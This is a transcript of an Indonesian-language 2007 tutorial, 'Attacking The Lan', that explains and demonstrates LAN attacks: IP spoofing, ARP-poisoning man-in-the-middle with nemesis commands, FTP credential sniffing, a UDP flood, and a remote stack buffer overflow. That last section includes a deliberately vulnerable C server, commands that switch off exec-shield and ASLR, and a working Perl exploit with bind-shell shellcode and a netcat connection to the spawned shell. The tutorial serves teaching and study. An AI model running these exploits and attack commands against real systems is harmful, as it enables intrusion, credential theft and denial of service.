Attacking The Lan

15
Hack 0x00 - Global Trend Attack in Local Network Local Network atau sering disebut Local Area Network (LAN) saat ini sudah menjadi hal yang sangat lumrah di berbagai tempat misalnya di lingkungan akademik seperti kampus, sekolah dasar dan menengah, dan perkantoran. Namun pernahkan kita bayangkan bahwa dari jaringan lokal inilah sebuah intrusi untuk mencuri informasi – informasi sensitif menjadi sangat mudah (ingat tidak semua orang dalam bisa di percaya bahkan sebagian besar intrusi lebih banyak terjadi dari jaringan lokal). Dari jaringan lokal policy firewall, rule IDS biasanya di buat lebih sederhana sehingga restriksinya pun tidak terlalu ketat. Hal inilah yang sering di manfaatkan oleh seorang attacker untuk melakukan penyerangan dari dalam. Berikut ini trend attack yang sering dilakukan dari jaringan lokal : - Spoofing - Sniffing - Man in The Middle (MiTM) - TCP/IP Session Hijacking - Trojan - Keylogging - Remote Code Execution - Denial of Service Berikut ini saya uraikan penjelasan beberapa attacking di atas yaitu : spoofing, sniffing, Man in The Middle, Remote Code Execution, Denial of Service. Hack 0x01 - Spoofing Spoofing adalah mengirimkan suatu packet dengan menggunakan alamat asal yang dipalsukan dengan tujuan untuk penyamaran identitas. Penyamaran identitas ini bisa digunakan untuk berbagai keperluan misalnya email spoofing dapat digunakan untuk phising, penipuan, dan pencurian beragam informasi sensitif. Beberapa kasus spoofing yang sering terjadi di jaringan lokal : - IP spoofing bisa digunakan untuk beragam keperluan Denial of Service, misalnya TCP SYN Flooding, ICMP smurfing, UDP flooding. RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 1

description

 

Transcript of Attacking The Lan

Page 1: Attacking The Lan

Hack 0x00 - Global Trend Attack in Local Network

Local Network atau sering disebut Local Area Network (LAN) saat ini

sudah menjadi hal yang sangat lumrah di berbagai tempat misalnya di

lingkungan akademik seperti kampus, sekolah dasar dan menengah, dan

perkantoran. Namun pernahkan kita bayangkan bahwa dari jaringan lokal

inilah sebuah intrusi untuk mencuri informasi – informasi sensitif menjadi

sangat mudah (ingat tidak semua orang dalam bisa di percaya bahkan

sebagian besar intrusi lebih banyak terjadi dari jaringan lokal). Dari jaringan

lokal policy firewall, rule IDS biasanya di buat lebih sederhana sehingga

restriksinya pun tidak terlalu ketat. Hal inilah yang sering di manfaatkan oleh

seorang attacker untuk melakukan penyerangan dari dalam. Berikut ini trend

attack yang sering dilakukan dari jaringan lokal :

- Spoofing

- Sniffing

- Man in The Middle (MiTM)

- TCP/IP Session Hijacking

- Trojan

- Keylogging

- Remote Code Execution

- Denial of Service

Berikut ini saya uraikan penjelasan beberapa attacking di atas yaitu :

spoofing, sniffing, Man in The Middle, Remote Code Execution, Denial of

Service.

Hack 0x01 - Spoofing

Spoofing adalah mengirimkan suatu packet dengan menggunakan

alamat asal yang dipalsukan dengan tujuan untuk penyamaran identitas.

Penyamaran identitas ini bisa digunakan untuk berbagai keperluan misalnya

email spoofing dapat digunakan untuk phising, penipuan, dan pencurian

beragam informasi sensitif. Beberapa kasus spoofing yang sering terjadi di

jaringan lokal :

- IP spoofing bisa digunakan untuk beragam keperluan Denial of Service,

misalnya TCP SYN Flooding, ICMP smurfing, UDP flooding.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 1

Page 2: Attacking The Lan

- ARP spoofing atau lebih dikenal dengan ARP poisoning biasa digunakan

untuk keperluan Man In The Middle (MiTM).

Untuk mendemokan bagaimana spoofing terjadi, saya menggunakan

contoh IP spoofing dalam koneksi TCP (Transmission Control Protocol).

Sebelum terjadi koneksi TCP maka pihak yang hendak melakukan koneksi

harus mengirimkan TCP flags SYN (synchronize) terlebih dahulu. Jadi nantinya

packet TCP SYN ini di kirimkan ke suatu target dengan menggunakan sumber

IP address palsu. Untuk mengamati bagaimana proses terjadinya spoofing,

saya menggunakan bantuan tcpdump dan sebuah tool IP spoofing sederhana.

Di sisi attacker

(1) ifconfig –a | grep “inet addr”

(2) tar zxvf ipspoof.tgz

(3) cd ipspoof/

(4) gcc –o ipspoof ipspoof.c

(5) ./ipspoof

(6) ./ipspoof <victim addr> <port> <source addr>

example :

(7) ./ipspoof 10.13.200.130 80 1.2.3.4

Di sisi victim

(1) ifconfig –a|grep “inet addr”

(2) tcpdump –nne tcp port 80

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 2

Page 3: Attacking The Lan

Gambar (I) Demo IP spoofing

Tcpdump menjelaskan kepada kita bahwa terjadi pengiriman TCP

SYN (S) dari IP address 1.2.3.4 di port 45298 menuju IP address

10.13.200.130 di port 80, padahal IP address pengirim yang sesungguhnya

adalah 10.13.5.25. Salah satu akibat dari spoofing TCP SYN adalah terjadinya

Denial of Service di mesin victim.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 3

Page 4: Attacking The Lan

Hack 0x02 - Man In The Middle

Man-in-the-middle (MITM) attack adalah salah satu serangan pada

tahap gaining access. Dengan cara ini seseorang bisa membaca, menginsert

dan memalsukan data antara dua komputer yang saling terhubung sekalipun

di dalam switched network. Man-in-the-middle attack dapat dilakukan jika

komputer attacker berada di dalam satu network dengan dua komputer yang

lainnya Sesuai dengan namanya Man-in-the-middle, attacker harus

menempatkan diri ditengah-tengah komunikasi antara komputer User A dan

komputer User B sehingga attacker bisa mengcapture (sniff) semua data dari

komputer User A dan komputer User B.

Gambar (II) Skenario Man In The Middle

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 4

Page 5: Attacking The Lan

attacker-> ping 172.16.11.111 (User A)

PING 172.16.11.111 (172.16.11.111): 56 data bytes

64 bytes from 172.16.11.111: icmp_seq=0 ttl=128 time=0.599 ms

attacker-> ping 172.16.11.103 (User B)

PING 172.16.11.103 (172.16.11.103): 56 data bytes

64 bytes from 172.16.11.103: icmp_seq=0 ttl=64 time=1.022 ms

attacker-> arp -na

? (172.16.11.1) at 00:11:bb:74:da:00 on rl0

? (172.16.11.103) at 00:00:21:27:12:1f on rl0

? (172.16.11.104) at 00:d0:68:00:f0:ce on rl0

? (172.16.11.111) at 00:0c:76:24:ab:3c on rl0

Satu hal yang menarik dari table entry ARP tadi adalah ketika 2 IP

address berbeda dengan MAC yang sama ada di dalam table ARP, maka IP

address yang terdahulu akan dioverwrite oleh IP address yang baru. Lalu

yang harus dilakukan oleh attacker adalah mengirimkan ARP sehingga

komputer User A percaya bahwa IP address komputer User B ada di MAC

address komputer attacker dan mengirimkan ARP sehingga komputer User B

percaya bahwa IP address komputer User A ada di MAC address komputer

attacker juga. Dengan teknik ini semua paket data dari komputer User A yang

menuju ke komputer User B akan melalui interface attacker. Teknik

pemalsuan ARP ini sering dikenal dengan ARP spoofing atau ARP cache

poisoning. Banyak sekali tools yang bisa digunakan untuk melakukan ARP

spoofing dan tersedia gratis di internet. Beberapa yang sering digunakan

adalah :

- ettercap ( http://ettercap.sourceforge.net/ )

- arpspoof ( bagian dari dsniff http://monkey.org/~dugsong/dsniff/ )

- nemesis ( http://nemesis.sourceforge.net )

- Cain & Abel ( http://www.oxid.it )

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 5

Page 6: Attacking The Lan

Untuk mendemokan bagaimana Man-In-The-Middle, saya

menggunakan nemesis sebagai tool untuk menginjeksikan packet ke

komputer User A dan komputer User B.

(1) Support kernel IP forwarding

sysctl net.ipv4.ip_forward=1

echo “net.ipv4.ip_forward=1” >> /etc/sysctl.conf

(2) Injeksikan paket ARP palsu

nemesis arp -v -r -d <interface attacker> -S <IP User A>

-D <IP User B > -h <MAC interface attacker> -m <MAC User A>

-H <MAC interface attacker> -M <MAC User A>

nemesis arp -v -r -d <interface attacker> -S <IP User B>

-D <IP User A> -h <MAC interface attacker> -m <MAC User B>

-H <MAC interface attacker> -M <MAC User B>

Man-in-The-Middle (MiTM) di atas menggunakan teknik ARP cache

poisoning, teknik ini paling umum digunakan dalam jaringan lokal yang

menggunakan switch. Beberapa teknik MiTM yang lain adalah :

- switch port stealing

- DHCP spoofing

- DNS spoofing

- ICMP redirection

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 6

Page 7: Attacking The Lan

Hack 0x03 - Sniffing

Sniffing adalah sebuah proses penyadapan koneksi kemudian

menganalisis packet data yang diperoleh. Sniffing bisa digunakan untuk

keperluan legal, misalnya dalam memanage jaringan atau bisa digunakan

untuk keperluan illegal, misalnya untuk mengintip informasi – informasi

sensitif seperti username dan password. Ada dua macam sniffing yaitu :

- passive sniffing, mengintai packet data yang ada di jaringan untuk di

analisis tanpa melakukan modifikasi packet data.

- active sniffing, mengintai packet data yang ada di jaringan kemudian

melakukan manipulasi misalnya dengan menginjeksikan packet dengan

tujuan memutuskan sebuah koneksi.

Di sebuah jaringan yang terkoneksi melalui hub, proses sniffing bisa

dilakukan dengan mudah. Hanya dengan mengintai packet data yang ada di

network interface card di komputer milik attacker. Ini di karenakan packet

data dikirimkan hub secara broadcast ke semua host yang ada di jaringan.

Saat ini sudah jarang sekali ditemui sebah jaringan lokal menggunakan hub,

namun digantikan menggunakan switch. Switch mengirimkan packet data

secara unicast ke host yang melakukan koneksi. Untuk melakukan sniffing

packet data di jaringan switch, seseorang perlu mengkompromise link antara

dua buah pihak yang sedang terkoneksi, salah satu cara yang paling efektif

dilakukan adalah dengan Man in The Middle (MiTM).

Di sisi attacker

(1) support kernel IP forwarding sysctl net.ipv4.ip_forward=1

(2) lakukan Man in The Middle

Lihat di pembahasan sebelumnya

(3) lakukan sniffing

tcpdump –nne tcp port 21 (sniffing koneksi ftp)

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 7

Page 8: Attacking The Lan

Gambar (III) Demo Sniffing

Tcpdump melakukan sniffing username dan password, dari hasil

sniffing diperoleh bahwa user antoxz menggunakan password rahasia.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 8

Page 9: Attacking The Lan

Hack 0x04 Remote Code Execution

Remote Code Execution (RCE) merupakan sutu teknik dalam hacking

yang memungkinkan seorang mengeksekusi sembarang code di sebuah mesin

victim yang vulnerable. Mesin victim vulnerable dikarenakan adanya flaw di

aplikasi, service, atau sistem operasi yang digunakan. Berikut ini flaw

programming yang sangat umum terjadi :

- Buffer Overflow

- Integer Overflow

- Error Format String

- SQL injection

- File Inclussion

- Cross Site Scripting (XSS)

Untuk attacking di jaringan lokal biasanya menggunakan flaw

programming jenis buffer oveflow, integer overflow, dan error format strings

namun untuk mengurangi banyaknya topik permasalahan saya hanya hendak

menguraikan teknik remote buffer overflow. Buffer overflow adalah sebuah

flaw programming yang terjadi karena sebuah program tidak mampu dengan

baik menghandle inputan dari user, sehingga user bisa menginputkan data

melebihi daya tampung yang disediakan memori. Beberapa contoh buffer

overflow :

- DCOM remote buffer overflow pada mesin windows.

- Wu-FTPd remote buffer overflow pada mesin linux/nix versi lama.

- Pro-FTPd mod TLS pre-auth remote buffer overflow.

Untuk menerangkan bagaimana buffer overflow terjadi, saya

melakukan sebuah percobaan sederhana. Percobaan yang saya lakukan

menggunakan mesin fedora core 5 dengan kernel exec shield dan random

virtual address didisable. Saya menggunakan sebuah code C sederhana yang

memang dibuat vulnerable dengan stack based buffer overflow.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 9

Page 10: Attacking The Lan

//http://www.milw0rm.com/papers/78 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define LISTENPORT 7500 #define BACKLOG 10 #define MSG "Hello, how are you?" int handle_reply(char *str) { char response[256]; strcpy(response,str); printf("The client says \"%s\"\n",response); return 0; } int main(int argc, char * argv[]) { int sock, conn; struct sockaddr_in my_addr, client_addr; int sockopt_on = 1; int sa_in_size = sizeof(struct sockaddr_in); char reply[1024]; if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } memset((char *) &my_addr, 0, sa_in_size); my_addr.sin_family = AF_INET; my_addr.sin_port = htons(LISTENPORT); my_addr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) { perror("bind"); exit(1); } if (listen(sock,BACKLOG) == -1) { perror("listen"); exit(1); } while(1) { conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size); if (conn == -1) { perror("accept"); exit(1); } printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr)); send(conn,MSG,strlen(MSG)+1,0); recv(conn, reply, 1024, 0); handle_reply(reply); } return 0; }

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 10

Page 11: Attacking The Lan

sysctl kernel.execshield=0 echo “0” >> /etc/sysctl.conf sysctl kernel.randomize_va_space=0 echo “0” >> /etc/sysctl.conf gcc –o bof bof.c ./bof

Flaw programming pada code C di atas ada pada fungsi

handle_reply() dalam mencopy variable str ke variable response

strcpy(response,str). Ketika panjang variable str melebihi 256 maka yang

terjadi adalah buffer overflow karena variable response hanya memilik daya

tampung sepanjang 256. Proses debugging tidak saya uraikan detail karena

cukup panjang, jika proses exploitasi potongan code di atas berhasil, maka

attacker mendapat akses ke sistem operasi namun jika gagal maka terjadi

terminating service yang mengakibatkan Denial of Service.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 11

Page 12: Attacking The Lan

#!/usr/bin/perl use IO::Socket; $ip = $ARGV[0]; $nopsled = "\x90"x174; $payload = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80". "\x52\x66\x68\xff\xff\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1". "\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x56\x89". "\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79". "\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89". "\xe3\x52\x53\x89\xe1\xcd\x80"; $eip="\x18\xe3\xff\xbf"; $attackstring = $nopsled.$payload.$eip; #view a message if no ip address is given if(!$ip) { die "You have to provide the target's IP Address..\n"; } #the remote port to connect to $port = '7500'; #the connection protocol to use $protocol = 'tcp'; #create the actual network connection #and print an error message if it's not possible to create a socket print "[+] Connecting to victim on port 7500..";sleep(1); $socket = IO::Socket::INET->new(PeerAddr=>$ip, PeerPort=>$port, Proto=>$protocol, Timeout=>'1') || die "Could not create socket\n"; #send the payload to the remote computer print "[OK]\n"; print "[+] Sending data..";sleep(1); print $socket $attackstring; print "[OK]\n"; #close the connection close($socket); print "[+] Spawning Shell - Try to type 'id'!!\n"; system("nc -n $ip 65535");

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 12

Page 13: Attacking The Lan

Gambar (IV) Remote Buffer Overflow

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 13

Page 14: Attacking The Lan

Hack 0x05 Denial of Service

Denial of Service (DoS) adalah sebuah jenis serangan yang ditujukan

untuk membuat resource tidak tersedia sehingga tidak bisa di akses oleh user

yang sah. Denial of Service bisa berasal dari satu sumber, tapi juga bisa

terdistribusi. Dilihat dari sumbernya, denial of service bisa dibagi dalam tiga

kategori :

- Denial of Service (DoS)

- Distributed Denial of Service (DDoS)

- Distributed Reflection Denial of Service (DRDoS)

Denial of Service sendiri dapat dilakukan dengan menyerang pada :

- Protocol weakness example : SYN Flooding, UDP Flooding

- Service weakness : DoS services caused by overflow

- Application weakness : Web2 XSS worm

Denial of Services menggunakan kelemahan protokol biasanya berupa

flooding, yakni pengiriman paket dalam jumlah yang sangat besar dengan

tujuan untuk membanjiri jaringan dengan sampah sehingga bandwith habis

dan koneksi menjadi sangat lambat bahkan tidak bisa sama sekali. Lebih

parah lagi jika flooding dilakukan dengan menggunakan sumber IP address

source yang di spoofing sehingga menjadi sangat susah sekali untuk

mencegahnya. Beberapa contoh Denial of Service menggunakan kelemahan

protokol adalah : Flooding TCP-SYN, Flooding UDP, Flooding ICMP, dan

Smurfing ICMP. Sebuah contoh flooding UDP sebagai berikut :

Di sisi attacker gcc –o udpflood udpflood.c ./udpflood -s 800 -f 10 10.13.8.87

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 14

Page 15: Attacking The Lan

Di sisi victim Ifstat eth0 KB/s in KB/s out 458.02 0.53 586.32 0.12 329.81 0.19 307.25 0.12

Denial of Service pada service weakness biasanya terjadi karena flaw

programming layaknya remote code execution. Di Hack 0x04 telah dijelaskan

bahwa kegagalan exploitasi remote code execution bisa berakibat pada

terminating service yang menyebabkan DoS.

Gambar (V) Denial of Service

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 15